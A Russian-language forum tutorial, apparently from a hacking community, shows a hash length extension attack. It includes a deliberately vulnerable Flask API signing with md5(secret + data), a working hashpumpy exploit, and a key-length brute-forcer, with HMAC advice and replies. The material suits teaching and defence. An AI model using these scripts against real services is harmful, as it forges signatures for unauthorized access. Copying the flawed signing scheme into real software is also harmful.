LIMB
Вход Регистрация

тема

Хэши, костыли и API: ломаем самописные подписи через Hash Length Extension

pikines1337 · · 2 ответов · 487 просмотров

Не удалось прогрузить медиа


Привет. Вот моя вторая поптыка написать статью)

В комментариях к прошлой статье про Padding Oracle справедливо заметили: самые сочные уязвимости рождаются там, где разработчик решает не использовать готовые фреймворки, а написать свою криптографию. "Зачем мне HMAC, я и так знаю как работает хэш" - знаменитые последние слова перед полным п... .

Сегодня разбираем вторую уязву: Hash Length Extension (HLE). Атаку, которая позволяет дописать произвольные данные к подписанному сообщению, не зная секретного ключа. Всё что нужно - готовая подпись и длина ключа (которую можно подобрать за секунды).

Немного истории:
В 2009 году Thai Duong и Juliano Rizzo через HLE хакнули подписи Flickr API - а заодно показали, что уязвимы DivShare, Vimeo, iContact, Scribd и ещё десяток сервисов. Все использовали одну и ту же конструкцию: md5(secret + params). Flickr отдавал 8-байтовый shared secret каждому приложению, а подписи строились простым склеиванием. Атакующий мог отправлять произвольные API-запросы от имени любого приложения, не зная его секрета. Advisory ушла в full-disclosure, Yahoo пофиксили за две недели, Vimeo первый патч написали неправильно и пришлось переделывать.

Прошло 17 лет - а конструкция hash(secret + data) до сих пор всплывает в самописных API, webhook подписях и легаси системах.

ПРиступим пожалуй:​

Типичный сценарий: разработчик пишет API и хочет защитить параметры запроса от подделки. Он берёт секретный ключ (который явно лежит на бэке) и хэширует его вместе с данными:

Code:
signature = md5(SECRET_KEY + user_data)

Клиент получает URL вида:

Code:
api.site.com/endpoint?data=user=guest&role=user&sig=a1b2c3d4...

Логика простая: хэш необратим, ключ мы не знаем, значит подделать подпись нельзя. Если поменяем role=admin - сервер пересчитает хэш, подписи не совпадут, получим 403.

Звучит разумно? Звучит. Не работает? Не работает. Именно так были подписаны запросы к Flickr API, к Vimeo API, и к куче других сервисов раньше

Где эта конструкция встречается сейчас: самописные API без нормальных фреймворков, легаси на голом PHP, IoT/embedded устройства с кастомной прошивкой, подписи ссылок для скачки (download?file=report.pdf&sig=...), webhook вериф (sha1(secret + body)) - короче, везде, где кто-то решил что hash(secret + data) - это MAC

Почему это ломается:​

Типа
Code:
[Init State] -> обработка блока 1 ->[State 1] -> обработка блока 2 -> [State 2] -> ... -> [Final State] = ХЭШ

Ключевой момент: итоговый хэш - это просто внутреннее состояние алгоритма после последнего блока. Оно не шифруется, не маскируется, просто выводится как есть

Что это значит для нас:

  1. Сервер считает md5(SECRET + "user=guest&role=user") и отдаёт хэш
  2. Мы берём этот хэш и инициализируем им внутреннее состояние MD5 на своей машине
  3. Дописываем свои данные (&role=admin), и MD5 продолжает считать с того места, где остановился сервер
  4. Получаем валидную подпись для расширенного сообщения, не зная ключа
Единственный нюанс: перед завершением хэш-функция добавляет padding (выравнивание до размера блока + длина сообщения). Нам нужно это учесть - но за нас это делает hashpumpy

Не удалось прогрузить медиа


Тут будет код:

Мини сервак для этого дела выглядит так
Python:
from flask import Flask, request
import hashlib
import urllib.parse

app = Flask(__name__)

# Секретный ключ — 16 байт.
SECRET = b"s3cr3t_k3y_12345"

def sign_bytes(data: bytes) -> str:
    """Уязвимая функция: теперь принимает байты напрямую."""
    return hashlib.md5(SECRET + data).hexdigest()

@app.route('/generate')
def generate():
    """Выдаём легитимную подписанную ссылку"""
    data = "user=guest&role=user"
    # Подписываем байтовое представление
    sig = sign_bytes(data.encode())
    # Квотим данные, чтобы амперсанд внутри data не разрывал URL
    quoted_data = urllib.parse.quote(data)
    url = f"http://127.0.0.1:5000/api?data={quoted_data}&sig={sig}"
    return f"<h3>Твоя ссылка:</h3><pre>{url}</pre><br><a href='{url}'>Перейти</a>"

@app.route('/api')
def api():
    # КРИТИЧЕСКИЙ МОМЕНТ:
    # Берем параметры напрямую из query_string как байты, чтобы избежать 
    # автоматического декодирования в UTF-8, которое ломает паддинг.
    qs = request.query_string
    params_raw = urllib.parse.parse_qs(qs)
    
    # Извлекаем байты для 'data' и строку для 'sig'
    data_bytes = params_raw.get(b'data', [b''])[0]
    sig = params_raw.get(b'sig', [b''])[0].decode('utf-8', 'ignore')
    
    # Проверяем подпись на сырых байтах
    expected = sign_bytes(data_bytes)
    
    if expected != sig:
        return (f"<h2>403 Forbidden</h2><p>Invalid signature.</p>"
                f"<pre>Expected: {expected}\nGot:      {sig}</pre>"), 403
    
    # Теперь, когда подпись верна, парсим параметры.
    # Используем latin-1, чтобы сохранить байты паддинга "как есть" при парсинге ключей/значений
    data_decoded = data_bytes.decode('latin-1')
    params = dict(urllib.parse.parse_qsl(data_decoded))
    
    role = params.get('role', 'user')
    user = params.get('user', 'nobody')
    
    if role == 'admin':
        return (f"<h2>200 OK</h2><p>FLAG: HLE_M4G1C_W0RK5</p>"
                f"<p>Добро пожаловать, {user}. Роль: {role}</p>")
    else:
        return f"<h2>200 OK</h2><p>Привет, {user}. Твоя роль: {role}.</p>"

if __name__ == '__main__':
    print("[*] Vulnerable API started on http://127.0.0.1:5000")
    print("[*] Get your signed URL: http://127.0.0.1:5000/generate")
    app.run(port=5000, debug=False)

Запускаем:

Code:
pip install flask
python vulnerable_api.py

Не удалось прогрузить медиа


Идём в браузер на http://127.0.0.1:5000/generate:

Не удалось прогрузить медиа


Кликаем по ссылкке и видим

Не удалось прогрузить медиа


Теперь пробуем вручную поменять role=user на role=admin в URL:

Не удалось прогрузить медиа


Пишем эксплоит​

Для атаки нам нужно:

  • Оригинальные данные: user=guest&role=user (видим в URL)
  • Оригинальная подпись: 7c134f... (видим в URL)
  • Длина секретного ключа: 16 байт (перебираем, если не знаем)
  • Что дописать: role=admin
Ставим либы:

Code:
pip install hashpumpy requests

exploit.py

Python:
import requests
import hashpumpy
import urllib.parse

TARGET = "http://127.0.0.1:5000/api"
original_data = "user=guest&role=user"
original_sig  = "" # хэш который выдал сервак

# Длина ключа b"s3cr3t_k3y_12345"
key_length    = 16

#на что меняем
append_data = "&role=admin"

print("=" * 60)
print("  Hash Length Extension Attack")
print("=" * 60)

# Магия hashpump
new_sig, new_data = hashpumpy.hashpump(
    original_sig,   
    original_data,   
    append_data,     
    key_length       
)

print(f"\n[*] Original sig:  {original_sig}")
print(f"[*] New sig:       {new_sig}")
print(f"[*] New data (raw): {repr(new_data)}")


# Используем quote_from_bytes, чтобы спецсимволы \x80, \x00 и т.д.
# корректно превратились в %80, %00 для передачи через URL.
encoded_data = urllib.parse.quote_from_bytes(new_data)

url = f"{TARGET}?data={encoded_data}&sig={new_sig}"

print(f"\n[*] Sending request...")
print(f"[*] URL: {url[:110]}...")

r = requests.get(url)

print(f"[*] Status: {r.status_code}")
print("-" * 60)
print(f"[*] Response:\n{r.text}")
print("-" * 60)

И случилась магия

Не удалось прогрузить медиа



Что именно произошло​

Давай разберём что hashpumpy сделал, вот как выглядит new_data:

Code:
user=guest&amp;role=user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x01\x00\x00\x00\x00\x00\x00&amp;role=admin

Пошагово:

  1. user=guest&role=user — оригинальные данные (20 байт)
  2. \x80 — стандартный маркер конца данных в Merkle-Damgard
  3. \x00...\x00 — нулевые байты для выравнивания блока до 64 байт
  4. \x18\x01\x00\x00\x00\x00\x00\x00 — длина оригинального сообщения (SECRET + data) в битах, little-endian. 16 + 20 = 36 байт = 288 бит = 0x0120
  5. &role=admin — наша добавка
Сервер получает эту строку, считает md5(SECRET + всяэтакаша), и подпись совпадает. Потому что мы продолжили хэширование ровно с того состояния, где оно закончилось на сервере

А parse_qsl() парсит параметры и видит role=user и role=admin. Функция dict() перезаписывает первое значение вторым - и params['role'] = 'admin'

Если добавить в код эскплоита немного дебага, например print(repr(new_data)), то получим

Не удалось прогрузить медиа


Перебор длины ключа​

На практике ты не знаешь длину секретного ключа. Это не проблема - перебор от 1 до 64 занимает доли секунды.

Напишем брутер

Python:
import hashpumpy
import requests
import urllib.parse

TARGET = "http://127.0.0.1:5000/api"
original_data = "user=guest&role=user"
original_sig  = ""
append_data   = "&role=admin"

print("[*] Brute-forcing key length (1-64)...\n")

for key_len in range(1, 65):
    new_sig, new_data = hashpumpy.hashpump(
        original_sig, original_data, append_data, key_len
    )
    
    encoded = urllib.parse.quote_from_bytes(new_data)
    url = f"{TARGET}?data={encoded}&sig={new_sig}"
    
    r = requests.get(url)
    
    status = "✓" if r.status_code == 200 else "✗"
    
    if r.status_code == 200 and "FLAG" in r.text:
        print(f"  [{status}] key_length={key_len:2d} - FOUND! Status: {r.status_code}")
        print(f"\n[+] Key length: {key_len}")
        print(f"[+] New signature: {new_sig}")
        print(f"[+] Response: {r.text.strip()}")
        break
    else:
        print(f"  [{status}] key_length={key_len:2d} - Status: {r.status_code}")
else:
    print("\n[-] Key length not found in range 1-64")

Не удалось прогрузить медиа


Почему parse_qsl - не баг, а фича (для нас)​

Отдельный момент, который стоит разобрать. Когда сервер получает строку:


Code:
user=guest&role=user&<мусор>&role=admin

...он парсит её через urllib.parse.parse_qsl(). Эта функция возвращает все пары ключ-значение, включая дубликаты:

Code:
>>> parse_qsl("role=user&role=admin")
[('role', 'user'), ('role', 'admin')]

А dict() при дубликатах оставляет последнее значение:

Code:
>>> dict(parse_qsl("role=user&role=admin"))
{'role': 'admin'}

Это не баг parse_qsl -это стандартное поведение. Аналогично работают PHP ($_GET), многие Java-фреймворки, и даже некоторые конфиги nginx. Это называется HTTP Parameter Pollution и само по себе является отдельным вектором атаки

Защита: HMAC и почему SHA-3 неуязвим​


Как не надо подписывать данные (мы это уже выяснили):

Python:
# УЯЗВИМО — hash(secret || data)
sig = hashlib.md5(SECRET + data).hexdigest()

Как нажо:

Python:
import hmac, hashlib

# HMAC: стандарт индустрии, RFC 2104
sig = hmac.new(SECRET, data.encode(), hashlib.sha256).hexdigest()

Почему HMAC защищён: он хэширует данные дважды с разными XOR-масками ключа. Внутреннее состояние не "протекает" наружу, и продолжить хэширование невозможно

Даже если атакующий знает финальный хэш — это хэш от внешнего прохода, а не от данных напрямую

SHA-3 (Keccak) использует архитектуру sponge вместо Merkle-Damgard. Внутреннее состояние SHA-3 больше чем выход: для SHA3-256 state = 1600 бит, а выход = 256 бит. Даже зная хэш, вы не можете восстановить полное внутреннее состояние. HLE на SHA-3 невозможна в принципе

Ну чисто мое мнение что щас можно юзать

  • HMAC-SHA256 - для подписи данных
  • JWT (HS256/RS256) - для API-токенов
  • Если хочется модерн - HMAC-SHA3 или Ed25519 для подписей
  • Никогда hash(secret + data) или hash(data + secret) (второй вариант тоже уязвим, хоть и сложнее)
Где встречаеься в дикой природе

Вот типичные ситуации, где HLE даёт результат

Подписи API-запросов. Самый классический вектор. Flickr, Vimeo, DivShare, Scribd - все попались на одном: md5(secret + sorted_params). Если видишь API, где подпись считается как хэш от конкатенации секрета и параметров проверяй на HLE. Признак: подпись передаётся в URL или cookie, данные видны в открытом виде, формат типа ?data=...&sig=....

CDN и signed URLs. Часто CDN-ссылки защищены подписью: 
Code:
download?file=report.pdf&expires=1234567890&sig=sha1(secret+path+expiry)
. Если подпись построена на простой конкатенации - можно дописать новый expires с более поздней датой, или подменить путь к файлу. На реальных CDN это дважды находили через bug bounty  в одном случае давало доступ к premium контенту

Webhook верификация. Многие SaaS-сервисы подписывают исходящие вебхукии через sha256(secret + body). Если ты нашёл такую схему на пентесте можешь добавить произвольные поля в тело вубхука и подделать подпись. Это особенно опасно когда webhook триггерит действия на стороне клиента: создание аккаунтов, подтверждение оплаты, изменение прав.

Embedded/IoT. Кастомные прошивки любят самописную криптографию. Подписи обновлений firmware, подписи конфигурационных команд - часто sha1(hardcoded_key + payload). Длина ключа обычно фиксирована и не меняется между устройствами. Перебор от 1 до 32 байт занимает меньше секунды

Общий паттерн: если на пентесте видишь sig= или hash= в URL, cookie или API ответе, и данные рядом с ним читаемы - стоит проверить. hashpumpy + цикл перебора длины ключа - это 10 строк кода и пара секунд работы

P.S не изобретай велосипед с криптографией. Готовые стандарты (HMAC, JWT, libsodium) существуют не просто так. Каждый раз когда кто-то пишет md5(secret + data) вместо hmac.new() - где-то плачет один криптограф
👍38 ❤️6 😁1 😮8 👏8 😢7
жаль рисунки не подгрузились.
Тему поднял хорошую, но классическую. Вот с 2009 года она и мусолится в статьях, даже я читала это лет 10 назад

Вы опасно некомпетентны в криптографии (хабр, 2013)​

Length-extension attacks are still a thing​

ище можно привести множество статей с нюансами, вариациями подобной уязвимости.

Если ты сам это знаешь, то стоило бы разбавить текущей практикой, имхо. 
Например, поиграться дорками в гугле и показать что еще полно уязвимых ресурсов (ну или их практически нет)
👍5 ❤️1 🔥1
Тема старовата, но раскрыта относительно неплохо. Для первой таким образом раскрытой темы от вас - я считаю, на оплату авансом пойдет. Но, как замечала @lisa99 чуть выше, тема действительно стара. 

Если вы активно интересуетесь криптографией, вам стоит обратить внимание на более современные и более реалистичные(а не сбор хонипотов по всей планете) темы - например, fail-open поведение(поведение, при котором криптография фейлится еще на этапе своего подъема по какой-то причине, что ведет к предсказуемому шифрованию как к последствию наиболее тяжелому), ошибки в обращении с самой криптографией, фейлы с хранением ключей. Такого в современном мире достаточное количество(подсказка, обратите внимание на всепланетные сборники всякой масти гадости вроде вордпресса, плагины под самый популярный цмс в мире пишутся всеми, кому не лень, встретить зверька шанс ваш будет выше). 

Удачи в дальнейшем продвижении!

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.